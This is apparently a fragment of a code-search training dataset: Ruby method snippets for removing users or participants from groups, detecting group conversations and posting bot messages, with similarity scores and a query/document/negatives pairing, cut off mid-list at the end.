:remove_user_from_group, \"user_removed\", \"user_not_in\")\n end", "def remove_group_member(dept_id, user_id)\n\n user_create = {\n \"@odata.id\" => \"https://graph.microsoft.com/v1.0/directoryObjects/#{user_id}\"\n }\n\n response = HTTParty.delete(\"https://graph.microsoft.com/v1.0/groups/#{dept_id}/members/#{user_id}/$ref\", { \n\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Host\" => 'graph.microsoft.com',\n }\n\n })\n\n case response.code\n when 204\n return response.code\n when 400...600\n return JSON.parse response.read_body\n end\n \n end", "def remove_conv conv, user \n if user.id == conv.user_id\n return update_status(conv, user, 'status')\n elsif user.id == conv.recipient_id \n return update_status(conv, user, 'recipient_status')\n end\n false\n end", "def destroy\n\t\t@participant.destroy\n\n\t\thead :no_content\n\tend", "def remove_member\n Member.find_by(band_id: params[:id], user_id: params[:user_id]).destroy\n\n flash[:success] = \"The user is no longer part of the band!\"\n\n redirect_to band_url(params[:id])\n end", "def remove_user\n group = Group.find(params[:group_id])\n user = User.find(params[:user_id])\n if (GroupsController.group_owner? current_user.id, group.id) && (user != current_user)\n group.users.delete user\n respond_to do |format|\n format.html { redirect_to group_path(group), alert: 'Removed user successfully.' }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group), alert: \"Not removed. You are not the owner of the group or you are attempting to remove the owner from the group\"}\n format.json { render json: \"Only owners can remove users from the group and owners themselves cannot be removed from the group\", status: :unauthorized}\n end\n end\n end", "def action_remove\n notifying_block do\n remove_user\n remove_group if new_resource.group\n end\n end", "def do_leave\n flash.keep\n user = if params[:user_id]\n User.find(params[:user_id])\n else\n current_user\n end\n group = Group.find_by(id: params[:id]) || not_found\n if user != current_user && !group.admin?(current_user)\n flash[:error] = 'You do not have permission to remove other users.'\n redirect_to(action: 'show', id: group.id) && return\n end\n group.leave_group(user)\n flash[:notice] = if user == current_user\n \"You have left #{group.group_name}\"\n else\n \"#{user.display_name} has been removed\"\n end\n if group.admin?(current_user)\n redirect_to(action: 'edit', id: group.id) && return\n else\n redirect_to(controller: 'groups', action: 'index') && return\n end\n end", "def leave(user_id)\r\n @users.delete(user_id)\r\n @waiting.delete(user_id)\r\n @queue.delete(user_id)\r\n end", "def other_participants(user)\n all = recipients\n all.delete(user)\n all.delete(nil) # nil will appear when any of the user in the coversation is deleted later.\n all\n end", "def destroy\n @sport_entry = SportEntry.find(params[:sport_entry_id])\n @participant = Participant.find(params[:id])\n \n @sport_entry.participants.destroy(@participant)\n \n if @sport_entry.captaincy == @participant\n @sport_entry.captaincy = nil\n @sport_entry.save\n end\n flash[:notice] = \"Participant removed from sport entry\"\n \n respond_to do |format|\n format.html do \n if params[:return] && params[:return] == 'edit_sports'\n redirect_to(edit_sports_gc_participant_path(@participant)) \n else\n redirect_to(edit_gc_sport_entry_url(@sport_entry)) \n end\n end\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @user = User.find(@invitation.user_id)\n @group = Group.find(@invitation.group_id)\n\n if destroy_has_sanitized_input?\n @group.users.push(@user)\n @invitation.delete\n flash[:notice] = \"You now belong to \" + @group.name\n @group.events.each do |event|\n event.appointments.each do |appointment|\n Votation.create(user_id: @user.id, appointment_id: appointment.id, result: 50, access: false)\n end\n end\n end\n redirect_to groups_url\n end", "def remove_group_member(group_id, user_id)\n delete(\"/v1/groups/#{group_id}/members/#{user_id}\")\n end", "def remove( curation_concern, id )\n # ::Deepblue::LoggingHelper.bold_debug \"AttachMembersActor.remove: id = #{id}\"\n return if id.blank?\n member = ActiveFedora::Base.find(id)\n curation_concern.ordered_members.delete(member)\n curation_concern.members.delete(member)\n return unless curation_concern.respond_to? :provenance_child_remove\n curation_concern.provenance_child_remove( current_user: current_user,\n child_id: id,\n event_note: \"AttachMembersActor\" )\n end", "def remove_group(group)\n self.groups.destroy group \n end", "def destroy\n if current_user.admin?\n @participant.destroy\n respond_to do |format|\n format.html { redirect_to participants_url, notice: \"Participant was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end \n end", "def del_member(_user_id)\n update!(del_members: [_user_id])\n end", "def student_group_remove(student_group_name)\n if not self.scenario.stopped?\n return []\n end\n\n players = []\n user = User.find(self.scenario.user.id)\n if not student_group = user.student_groups.find_by_name(student_group_name)\n errors.add(:name, \"student group not found\")\n return\n end\n student_group.student_group_users.each do |student_group_user|\n if player = self.players.find_by_user_id(student_group_user.user.id)\n players.push(player)\n player.destroy\n end\n end\n players\n end", "def destroy\n @participant.destroy\n flash[:success] = 'Participant was successfully destroyed.'\n redirect_to participants_url\n end", "def leave(group)\n group_membership_ids.include? group.id\n groups.destroy(group)\n end", "def remove_member(user)\n update_membership(user, false)\n end", "def destroy\n email = @participant.email\n @participant.rankings\n @participant.destroy\n flash[:success] = \"Successfully deleted participant #{email}.\"\n redirect_to display_project_participants_path(@participant.project_id)\n end", "def remove_user\n @project = Yogo::Project.get(params[:project_id])\n @user = User.get(params[:user_id].to_i)\n if @user.memberships.first(:project_id=> @project.id).destroy\n flash[:notice] = \"#{@user.first_name} #{@user.last_name} has been removed from this project.\"\n else\n flash[:error] = \"Failed to add user! Errors: \" + @user.errors.full_messages.join(', ')\n end\n redirect_to :back\n end", "def remove_user(user)\n self.users.destroy(id: user.id)\n end", "def remove_user(user)\n self.users.destroy(id: user.id)\n end", "def destroy\n @participants = Participant.find(params[:id])\n success = @participants.destroy\n\n if success and @participants.errors.empty?\n AuditTrail.audit(\"Participant #{@participants.fullname} destroyed by #{current_user.login}\")\n flash[:success] = \"Participant #{@participants.fullname} destroyed\"\n else\n flash[:error] = @participants.errors.full_messages\n end\n respond_to do |format|\n format.html { redirect_to(participants_url) }\n format.xml { head :ok }\n end\n end", "def remove_participant_from_session(account_id,\r\n session_id,\r\n participant_id)\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri(Server::WEBRTCDEFAULT)\r\n _query_builder << '/accounts/{accountId}/sessions/{sessionId}/participants/{participantId}'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'accountId' => { 'value' => account_id, 'encode' => false },\r\n 'sessionId' => { 'value' => session_id, 'encode' => false },\r\n 'participantId' => { 'value' => participant_id, 'encode' => false }\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.delete(\r\n _query_url\r\n )\r\n WebRtcBasicAuth.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n case _response.status_code\r\n when 401\r\n raise APIException.new(\r\n 'Unauthorized',\r\n _response\r\n )\r\n when 403\r\n raise APIException.new(\r\n 'Access Denied',\r\n _response\r\n )\r\n when 404\r\n raise APIException.new(\r\n 'Not Found',\r\n _response\r\n )\r\n end\r\n unless _response.status_code.between?(200, 208)\r\n raise ErrorException.new(\r\n 'Unexpected Error',\r\n _response\r\n )\r\n end\r\n validate_response(_response)\r\n\r\n # Return appropriate response type.\r\n ApiResponse.new(_response)\r\n end", "def destroy\n contact_group = ContactGroup.find(@share_invite.contact_group_id)\n #logger.debug \"Grabbed the contact group #{contact_group} with a list of users of #{contact_group.users}\"\n contact_group.users.delete(current_user)\n @share_invite.destroy\n respond_to do |format|\n format.html { redirect_to homes_url, notice: \"#{contact_group.group_name} has been removed from your Groups list\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @participant = @school.participants.find(params[:id])\n @participant.remove_school_teams(current_user.id, @school)\n @participant.destroy\n\n respond_to do |format|\n Notifier.participant_deleted(@participant,@school).deliver\n format.html { redirect_to admin_tools_personnel_url }\n end\n end", "def leave_group(user = nil)\n membership = Membership.find_by user_id: user.id, group_id: id\n raise 'AdminUserCannotLeave' if membership.role == 'admin'\n\n Ticket.where(group_id: id, owner_id: user.id).delete_all\n Ticket.where(group_id: id, user_id: user.id).find_each(&:unassign)\n Membership.where(group_id: id, user_id: user.id).delete_all\n end", "def destroy\n @group = Group.find(params[:group_id])\n @referred_user = User.find(params[:user_id])\n if @referred_user.is_admin?(@group)\n render_error(404, request.path, 20110, \"Admin cannot leave group.\") and return\n end\n # self or admin\n if current_user?(@referred_user) || @current_user.is_admin?(@group)\n @referred_user.is_member?(@group)\n if @referred_user.leave!(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n else\n render_error(404, request.path, 20110, \"User is not group member.\")\n end\n end", "def unlink_group\n if self.parentID != nil\n Group.find(self.parentID).remove_members([self.id.to_s])\n end\n end", "def destroy\n @participant.destroy\n flash[:notice] = 'Participant was successfully removed.'\n respond_to do |format|\n format.html { redirect_to(meeting_participants_path(@meeting)) }\n format.xml { head :ok }\n end\n end", "def leave_group(group_id)\n\t\tGroupUser.destroy(user_id: user_id, group_id: group_id) unless Group.find(group_id).created_by == id\n\tend", "def destroy\n @add_group_to_user = AddGroupToUser.find(params[:id])\n @add_group_to_user.destroy\n\n respond_to do |format|\n format.html { redirect_to add_group_to_users_url }\n format.json { head :no_content }\n end\n end", "def remove_attendee\n @attendee = Dinner.find(params[:id]).attendee_dinners.find_by(attendee_id: params[:user_id])\n @attendee.delete\n render json: { message: 'user removed from dinner' }\n end", "def destroy\n @group = Group.find(params[:group_id])\n authorize! :edit, @group\n Hydra::LDAP.remove_users_from_group(@group.code, [params[:id]])\n redirect_to edit_group_path(@group), :notice=>\"Removed member #{params[:id]}\"\n end", "def destroy\n @group_user = @parent.find(params[:id])\n @user = @group_user.user\n if !current_user or (!current_user.is_admin and !@group.users.include?(current_user))\n redirect_to @group, :notice => \"You cannot remove users from that group.\"\n return\n end\n if @group_user.is_owner\n redirect_to @group, :notice => \"You cannot remove an owner from a group.\"\n return\n end\n if (!current_user.is_admin and !@group.owners.include?(current_user)) and @user != current_user\n redirect_to @group, :notice => \"You cannot remove that user from this group.\"\n return\n end\n \n @group_user.destroy\n\n respond_to do |format|\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n end\n end", "def remove_user\n\t\troom = Room.find(params[:room_id].to_i)\n\t\tuser = current_user\n\t\troom.users.delete(user) # Deletes user from room when they leave the browser window\n\t\t# --- If no users remain in room, all data about the room deletes itself ---\n\t\tif room.users.length == 0 \n\t\t\troom.songs.each do |song|\n\t\t\t\tsong.destroy\n\t\t\tend\n\t\t\troom.destroy\n\t\tend\n\t\t# --- end ---\n\t\t# Remove user from user-list\n\t\t$redis.publish(\"remove_user_#{room.id}\", {user: current_user.username, id: current_user.id}.to_json) \n\t\t# --- end ---\n\t\trender nothing: true\n\tend", "def destroy_as_receiver(participant=nil)\n memberships= Membership.receiver(participant.id, self.id)\n if memberships.empty?\n raise Ecs::NoReceiverOfMessageException,\n \"you are not a receiver of \" +\n \"\\\"#{self.ressource.namespace}/#{self.ressource.ressource}/#{self.id.to_s}\\\"\"\n end\n if participant\n MembershipMessage.delete_relations(self, memberships)\n end\n destroy_or_tag_as_removed if membership_messages.blank? and !ressource.postroute\n end", "def destroy\n @membership = Membership.find(params[:id])\n @membership.destroy\n if @membership.user == current_user\n flash[:success] = \"Quit #{@group.name} successfully.\"\n redirect_to @membership.group\n else\n flash[:success] = \"Removed member successfully.\"\n redirect_to group_members_url(@membership.group)\n end\n end", "def remove_notification_message parrent, user_id\n #ap 'NotificationModule#remove_notification_message'\n #ap user_id\n #ap parrent.id\n #ap parrent.class.name\n if notification_message = NotificationMessage.find_by(\n user_id: user_id,\n asset_id: parrent.id,\n asset_type: parrent.class.name\n )\n notification_message.destroy\n end\n end", "def remove_member(id, user)\n client.delete(\"#{path}/#{id}/members\", user)\n end", "def delete_participant(account_id,\r\n participant_id)\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri(Server::WEBRTCDEFAULT)\r\n _query_builder << '/accounts/{accountId}/participants/{participantId}'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'accountId' => { 'value' => account_id, 'encode' => false },\r\n 'participantId' => { 'value' => participant_id, 'encode' => false }\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.delete(\r\n _query_url\r\n )\r\n WebRtcBasicAuth.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n case _response.status_code\r\n when 401\r\n raise APIException.new(\r\n 'Unauthorized',\r\n _response\r\n )\r\n when 403\r\n raise APIException.new(\r\n 'Access Denied',\r\n _response\r\n )\r\n when 404\r\n raise APIException.new(\r\n 'Not Found',\r\n _response\r\n )\r\n end\r\n unless _response.status_code.between?(200, 208)\r\n raise ErrorException.new(\r\n 'Unexpected Error',\r\n _response\r\n )\r\n end\r\n validate_response(_response)\r\n\r\n # Return appropriate response type.\r\n ApiResponse.new(_response)\r\n end", "def remove_from_group\n @group_user = GroupUser.find(params[:id])\n @user_id = @group_user.user_id\n if !@login_user.belongs_to_group(@user_id).blank?\n @group_user.destroy\n @deleted = true\n @notice = \"User removed from group successfully.\"\n @group_user = @login_user.belongs_to_group(@user_id)\n if @group_user.blank?\n @defalut_group = @login_user.default_group[0]\n @new_group_user = GroupUser.create(:user_id=>@user_id,:group_id=>@defalut_group.id)\n end\n else\n @notice = \"The user must belongs to atleast one group.\"\n end\n respond_to do |format|\n format.js\n end\n \n end", "def destroy\n # Get user\n user = AuthorizeApiRequest.call(params).result\n @event = Event.find(params[:event_id])\n #See if event is saved event for that user, if so remove it \n if (@event.going.include?(user.id.to_s) )\n @event.update!(going: @event.going-[user.id.to_s])\n render :attendance_event, status: :ok\n else\n render json: {\n error: e.to_s\n }, status: :unprocessable_entity\n end\n end", "def remove_user(user)\n self.users.destroy(user)\n end", "def destroy\n @participant.destroy\n respond_with(@participant)\n end", "def destroy\n @participant.destroy\n respond_with(@participant)\n end", "def remove_user(jid)\n users.delete(jid.to_s.downcase)\n end", "def remove_group!( group )\n save if remove_group( group )\n end", "def leave(person)\n members.delete(person);\n end", "def remove_group(id)\n delete(\"/groups/#{id}\")\n end", "def destroy\n @personal_group = current_user.personal_groups.find(params[:id])\n @personal_group.destroy\n redirect_to(personal_groups_url)\n end", "def destroy\n remove_user_participation @challenge.id\n Activity.create(user_id: current_user.id, challenge_id: @challenge.id, relation:\"Deleted\")\n @challenge.destroy\n respond_to do |format|\n format.html { redirect_to challenges_url, notice: 'Challenge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_user\n deleted_user = User.find(params[:user_id])\n DeleteUserFromGroup.call(@previa_group, deleted_user)\n\n respond_to do |format|\n format.html { redirect_to previa_group_current_users_path(@previa_group), notice: 'El usuario fue eliminado con éxito.' }\n format.json { head :no_content }\n end\n end", "def destroy\n UserGroup.find_by(user_id: @user.id).destroy if UserGroup.find_by(user_id: @user.id).present?\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: t('flash.notice.users.successfully_destroyed') }\n format.json { head :no_content }\n end\n end", "def removeFromTournament\n @tournament = Tournament.find(params[:tournament_id])\n \t@team = Team.find(params[:id])\n \t@tournament.teams.delete(@team)\n\t\n respond_to do |format|\n format.html { redirect_to(tournament_path(@tournament)) }\n format.xml { head :ok }\n end\n end", "def remove_invite\n @invited = Dinner.find(params[:id]).invites.find_by(invited_id: params[:user_id])\n @invited.delete\n render json: { message: 'user uninvited' }\n end", "def destroy\n if (user_signed_in? && ([2].include?(current_user.role)))\n @cultural_heritage_group = CulturalHeritage::Group.find(params[:id])\n mensaje = @cultural_heritage_group.erasable\n if mensaje.blank?\n @cultural_heritage_group.deleted = 1\n @cultural_heritage_group.save\n end\n respond_to do |format|\n format.html { redirect_to(cultural_heritage_groups_url, :notice => mensaje) }\n format.xml { head :ok }\n end\n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end", "def remove\n recipient_list_members.destroy_all\n if message_recipients.count.zero?\n destroy\n else\n self.removed = true\n save!\n end\n end", "def remove_actor(actor_id)\r\n # アクターを削除\r\n @actors.delete($game_actors[actor_id])\r\n # プレイヤーをリフレッシュ\r\n $game_player.refresh\r\n end", "def remove_user_team_member(team_id, user_id)\n delete(\"/user_teams/#{team_id}/members/#{user_id}\")\n end" ]
[ "0.762961", "0.7430907", "0.7077803", "0.7070717", "0.6992048", "0.6844692", "0.6834485", "0.6813345", "0.6765522", "0.67617375", "0.6748411", "0.6736423", "0.6725016", "0.6714764", "0.6700518", "0.66651964", "0.6566175", "0.65532833", "0.651133", "0.6504711", "0.6451893", "0.6450685", "0.6447437", "0.6445008", "0.6426448", "0.6415643", "0.63757783", "0.6369126", "0.63628274", "0.63341194", "0.6330573", "0.6325288", "0.63172174", "0.6314984", "0.63094205", "0.6295655", "0.6268806", "0.6263338", "0.6257492", "0.6250734", "0.62402534", "0.6232985", "0.62321275", "0.6225583", "0.6223954", "0.62086225", "0.6206722", "0.6197622", "0.6195599", "0.6194835", "0.61797446", "0.6179054", "0.6178819", "0.61787224", "0.61761546", "0.616753", "0.6123656", "0.6122491", "0.6117184", "0.61145854", "0.6110479", "0.6110479", "0.6108892", "0.6097904", "0.6096272", "0.60863197", "0.6085998", "0.6085239", "0.60810786", "0.6077931", "0.6071846", "0.6067744", "0.6065064", "0.6060747", "0.60529166", "0.6052715", "0.6047915", "0.6041347", "0.6040359", "0.6032608", "0.6027565", "0.6016986", "0.6013058", "0.60120064", "0.59931", "0.59931", "0.5986339", "0.5980363", "0.5974486", "0.5974367", "0.5972723", "0.59722", "0.5959434", "0.5957033", "0.59541535", "0.5953742", "0.5953674", "0.5952319", "0.5947097", "0.5946063" ]
0.736392
2
check if current conversation is a group conversation
def is_group_conversation? group_title.present? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_conversation?(conversation)\n conversation.is_participant?(messageable)\n end", "def has_conversation?(conversation)\n conversation.is_participant?(messageable)\n end", "def group?\n type == :group_id\n end", "def group?\n type == :group_id\n end", "def in_group?(group)\n @groups.include? group\n end", "def member_of_shared_to? \r\n shared_to = self.shared_to_type.constantize.find(self.shared_to_id)\r\n User.find(self.user_id).groups.include?(shared_to) ? true : false\r\n end", "def group_choosen?\n !current_group.nil?\n end", "def group_choosen?\n !current_group.nil?\n end", "def is_group?(msg_type, tag)\n msg_type &&\n @data_dictionary.is_group(msg_type, tag) || field_type(tag) == \"NUMINGROUP\"\n end", "def group?\n true\n end", "def group_member?\n kind == 'group_member'\n end", "def belongs_to_group?\n self.group ? true : false\n end", "def is_member_of?(group)\n group.owner?(current_person) or Membership.accepted?(current_person, group)\n end", "def group? group\n group_name = group.respond_to?(:name) ? group.name : group\n self.groups.map(&:name).include?(group_name.to_s)\n end", "def is_valid?\n is_group_conversation? ? user_participants.count >= 1 : user_participants.count >= 2\n end", "def member_of?(group)\n cn_groups.include?(group)\n end", "def is_member_of?(group)\n current_person.dogs.include?(group.owner) or Membership.accepted_by_person?(current_person, group)\n end", "def group?(group)\n\t\t\tend", "def in_conversation? person = nil\n\t\treturn mode? :conversation if (person.nil?)\n\t\treturn @in_conversation if (person && person.is?(:person) && mode?(:conversation))\n\t\treturn nil\n\tend", "def has_group?\n @group == ''\n end", "def group?(type)\n GROUPS.include? type\n end", "def has_group?\n\t\t@group == ''\n\tend", "def group?\n members.count > 2 or self[:name].present?\n end", "def group?\n @opts[:group] != DEFAULT_GROUP\n end", "def is_group(line)\n\t\treturn line.split(\" \")[1].downcase == \"group\" ? true : false\n\tend", "def belongs_to?(group)\n group.all_users.include? self\n end", "def belongs_to?(group)\n group.all_users.include? self\n end", "def belongs_to?(group)\n group.all_users.include? self\n end", "def is_in_conversation?(_user_id)\n conversation_members.where(user_id: _user_id).any?\n end", "def group_owner_entry?\n group_entry? && principle == \"GROUP\"\n end", "def member_of?(group)\n if group.is_a? Group\n groups.include? group\n else\n member_of? Group.new(group)\n end\n end", "def group?\n self['source'] == 'QSGroupObjectSource'\n end", "def group?\n self.invoiceable_type == \"Group\"\n end", "def has_group?(q_group_name)\n contact_groups.find_by_group_name(q_group_name)\n end", "def in_group?(group_or_id)\n group_ids.include?(Ecircle::User.group_id(group_or_id))\n end", "def is_groupblog?\n !self.user_id\n end", "def belongs_to_group? who, group, ownership = false\n who = get_group(who)\n group = get_group(group)\n who.belongs_to[ownership ? :owner : :normal].include?(group)\n end", "def has_conversation?(conversation)\n return mail_count(:all, :conversation => conversation) != 0\n end", "def in_group_belonging_to?(org_id)\n unless guidance_group.nil?\n \t\tif guidance_group.org.id == org_id\n \t\t\treturn true\n \t\tend\n end\n\t\treturn false\n\tend", "def group?(name)\n name = name.to_s\n @groups.find{ |g| g.name == name } || false\n end", "def belongs_to?(group)\n group = AccessGroup.get(group) unless group.is_a?(::Incline::AccessGroup)\n return false unless group\n safe_belongs_to?(group)\n end", "def has_group?(name)\n run(\"id -g #{name}\").success?\n end", "def has_group?(group)\n\t\t# TODO: remove return true\n\t\treturn true\n\t\t# return FsLdap::groups_of_loginname(self.loginname).include? group\n\tend", "def in_group_belonging_to?(org_id)\n return true if !guidance_group.nil? && (guidance_group.org.id == org_id)\n\n false\n end", "def has_conversation?(conversation_id)\r\n self.conversations.has_key?(conversation_id.to_s)\r\n end", "def has_group?(group)\n\t\tFsLdap.groups_of_loginname(self.loginname).include?(group)\n\tend", "def group?(group)\n Vpim::Methods.casecmp?(@group, group)\n end", "def shared?\n\t\tself.project_groups.count > 1\n\tend", "def in_group?(group_id)\n groups.any? do |group|\n group.id == group_id\n end\n end", "def belongs_to_groups?\n self.groups.count > 0\n end", "def group?\n proprieties[:group]\n end", "def group_owner?\n super\n end", "def group_owner?\n super\n end", "def conversated?\n session[:conversations].include?(@conversation.id)\n end", "def owns?(group)\n return if group.class != Group\n self.groups.any? {|g| g[:id] == group.id}\n end", "def system_group?\n !self[\"gContact$systemGroup\"].nil?\n end", "def system_group?\n !self[\"gContact$systemGroup\"].nil?\n end", "def system_group?\n !self[\"gContact$systemGroup\"].nil?\n end", "def isUserMemberOfGroup \n redirect_to groups_path unless !GroupMember.userIsAlreadyInGroup(params[:group_id], current_user.id)\n end", "def is_member_in(group)\n unless group.members.include? current_user\n flash[:danger] = \"Devi essere un membro per accedere ad un gruppo ed alle sue informazioni\"\n redirect_to groups_path\n end\n end", "def member_of(group)\n current_user.is_member?(group)\n end", "def creator_in_group?\n return unless errors.blank?\n if !group.users.include?(user)\n errors.add(:user, user.username + \" isn't in the group\")\n end\n end", "def belongs_to?(group)\n group = AccessGroup.get(group) unless group.is_a?(AccessGroup)\n return false unless group\n safe_belongs_to?(group)\n end", "def is_default_group?\n self.name==\"Default\"\n end", "def is_or_belongs_to?(arg)\n if arg.is_a?(User)\n self == arg\n elsif arg.is_a?(Group)\n arg.users.include?(self)\n else\n false\n end\n end", "def group?(group)\n\t\t\t\tif(groups.has_key?(group))\n\t\t\t\t\tCfruby.controller.inform('debug', \"group \\\"#{group}\\\" exists\")\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\n\t\t\t\tCfruby.controller.inform('debug', \"group \\\"#{group}\\\" does not exist\")\n\t\t\t\treturn(false)\n\t\t\tend", "def grpowned?() end", "def node_is_node_group?\n self[:node].is_node_group?()\n end", "def remove_from_group(group)\n gm = Fl::Framework::Actor::GroupMember.query_for_actor_in_group(self, group).first\n return false if gm.nil?\n\n self.actor_containers.delete(gm)\n true\n end", "def replied_conv? usr\n ConversationProcessor.new(self).replied_conv? usr\n end", "def is_assessment_group?\n @reportable.class.table_name == 'assessment_groups'\n end", "def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end", "def groupable?\n return false if multiple?\n\n human_readable?\n end", "def defined?(group_name)\n true\n end", "def defined?(group_name)\n @groups.key?(group_name)\n end", "def restricted?\n self.groups.any?\n end", "def has_group?(name)\n (groupings || []).select{ |grouping| grouping['groups'].include?(name) }.any?\n end", "def chat?\n self.state == :chat\n end", "def user_in_group?(user, group)\n return get_user_groups(user).include?(group)\n end", "def ce_group_valid?\n return false unless self.group_id\n self.refresh_access_token!\n\n @oauth_access_token.get(\n \"https://www.google.com/m8/feeds/groups/default/full/#{self.group_id}\",\n {\n headers: {\n 'Content-type' => 'application/atom+xml',\n 'GData-Version' => '3.0'\n }\n }\n )\n\n true # group is valid\n rescue OAuth2::Error\n false # group is invalid\n end", "def may_create_group_membership?(group)\n\t\t\t!is_group_member?(group)\n\t\tend", "def teamchat?\n return @teamchat\n end", "def valid_group?\n unless self.target_group.nil?\n if self.target_group.is_a? String\n !!(self.target_group == self.group)\n else\n !!(self.target_group == self.group(:id))\n end\n else\n # The group is OK if it wasn't specified\n return true\n end\n rescue ArgumentError => ex\n # The group is NOT OK if the group doesn't exist\n WarningShot::PermissionResolver.logger.error(\"Group [#{self.target_group}] does not exist: #{ex.message}\")\n return false\n end", "def moderator?\n groups.exists? id: Group::GATHER_MODERATORS\n end", "def group_valid?(name, resource)\n self.class.groups.rindex{|g| g.name == name} != nil\n end", "def actor_presence\n return if user_id.blank? ^ group_id.blank?\n\n errors.add(:base, 'Specify a `group_id` or `user_id`, but not both.')\n end", "def valid_auth_group_joined_created\n @group = Group.find_by_id(params[:id])\n if @group\n @joined = @group.users.include?(@user)\n @created = @group.creator == @user\n else\n flash[:warning] = \"Not Exist Group\"\n redirect_to :action => \"index\"\n end\n end", "def allows_multiple_groups?\n max_groups && max_groups > 1\n end", "def group_exists?(stream, group)\n stream = stream_name(stream)\n info = connection.xinfo(:groups, stream.to_s)\n info.any? { |line| line['name'] == \"#{stream}-#{group}\" }\n rescue Redis::CommandError => e\n logger.info \"Seems the group doesn't exist\"\n logger.info e.message\n logger.info e.backtrace.join(\"\\n\")\n false\n end", "def participates?(user)\n \tsender == user || recipient == user\n\tend", "def in_group?(user, group)\n users_groups.where(user_id: user.id, group_id: group.id).count.positive?\n end", "def match_groups?(instance)\n klass = instance.class.to_s\n\n return unless self.class.defined_groups[klass]\n\n group_names = group_flags.where(\"flaggable_type = ?\", klass).collect(&:group_name)\n\n self.class.defined_groups[klass].select { |key, value|\n group_names.map.include? key.to_s\n }.collect { |key, value|\n value.call(instance)\n }.any?\n end", "def current_group\n end", "def is_in_group?(_user_id)\n Rails.cache.fetch \"UserGroup:is_in_group_#{id}_#{_user_id}\" do\n user_relationships.where(user_id: _user_id).any?\n end\n end", "def owner_of(group)\n current_user.is_owner?(group)\n end", "def group?(name)\n eval(GROUP_CHECK, binding, __FILE__, GROUP_CHECK_LINE)\n nil\nend", "def valid_message?(response)\n _command, identifier, @group = response.args\n\n return unless valid_group?(response, identifier)\n\n return unless valid_user?(response, identifier)\n\n true\n end", "def usr_msg? convo, usr\n (usr.id == convo.user_id && convo.status == 'active') || (usr.id == convo.recipient_id && convo.recipient_status == 'active')\n end", "def sections_new_group?( task )\n this_group = sections_group_title( task )\n\n changed = ( this_group != @sections_last_group )\n @sections_last_group = this_group if changed\n\n return changed\n end", "def groups()\n id_list = SQLQuery.new.get('groups_handler', ['group_id']).where.if('user_id', @id).send\n groups_list = []\n id_list.each do |id|\n groups_list << Groupchat.get(id['group_id'])\n end\n return Sorter.last_interaction(groups_list)\n end" ]
[ "0.68405974", "0.68405974", "0.67577523", "0.67577523", "0.67383814", "0.6635502", "0.6622683", "0.6622683", "0.6613604", "0.660063", "0.6564338", "0.65473104", "0.65115345", "0.6505596", "0.6484703", "0.6484046", "0.64710736", "0.6445479", "0.6444146", "0.64360994", "0.63634634", "0.6318005", "0.62764096", "0.6265244", "0.62140495", "0.6193798", "0.6193798", "0.619344", "0.618734", "0.6151241", "0.6137356", "0.6133163", "0.611738", "0.61139345", "0.6108613", "0.6068556", "0.6067373", "0.60524863", "0.6041869", "0.60325354", "0.6023317", "0.59956175", "0.5992252", "0.5989698", "0.5979417", "0.59644634", "0.59415954", "0.5926576", "0.59241056", "0.5884516", "0.5879181", "0.58766", "0.58766", "0.587591", "0.5861136", "0.5859664", "0.5859664", "0.5859664", "0.5853742", "0.58445656", "0.5833683", "0.5820344", "0.5813541", "0.57934916", "0.5734641", "0.57326925", "0.5726558", "0.57247895", "0.5723403", "0.57223517", "0.5719732", "0.5701387", "0.5700934", "0.5638442", "0.5634523", "0.56268483", "0.56197524", "0.5600922", "0.5594607", "0.55931634", "0.5589551", "0.55886394", "0.5586042", "0.55640566", "0.55616677", "0.5559535", "0.5547053", "0.5541818", "0.5541172", "0.55184144", "0.55157554", "0.5512146", "0.5509993", "0.5506712", "0.5505476", "0.5497178", "0.54930717", "0.5482427", "0.54712474", "0.54673606" ]
0.7886707
0
add a message sent from Bot
def add_bot_message(message) messages.notification.create(sender_id: User.bot_id, body: message) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_message(name, message)\n\t\tend", "def say(msg)\n self.signed_request '/api/v1/chat.postMessage', 'POST', {roomId: @channel_id, text: '>' + msg}\n end", "def message(options)\n @sent_messages << options[:text]\n end", "def send_message(message); end", "def send_message(message); end", "def message_sent(type, text, to = nil)\n msg = message_db.add(\n type: type,\n to: to,\n from: username,\n text: text,\n time: nil\n )\n signal_change(type, msg)\n end", "def add_message(message,opts={})\n # Append the message to @messages\n (@messages ||= []) << message\n end", "def <<(message)\n submit_message message\n self\n end", "def send_message(msg)\n\t\t\tdb_update({}, {'$push' => { 'messages' => msg.id.to_db } })\n\t\t\tmessages.add(msg)\n\t\tend", "def add_message(type, text, id=nil)\n @messages ||= []\n @messages.push({type: type, text: text, id: id})\n end", "def say(text)\n @bot.api.sendMessage(chat_id: @message.chat.id, text: text)\n end", "def send_message(msg); end", "def add_message_send message\n @drb_messages_sent += 1\n\n msg = message.message\n argc = message.argument_count\n\n source = message.source\n destination = message.destination\n\n @last_peer_send[source][destination] = message.timestamp\n @last_sent_message[source][destination] = msg, argc, 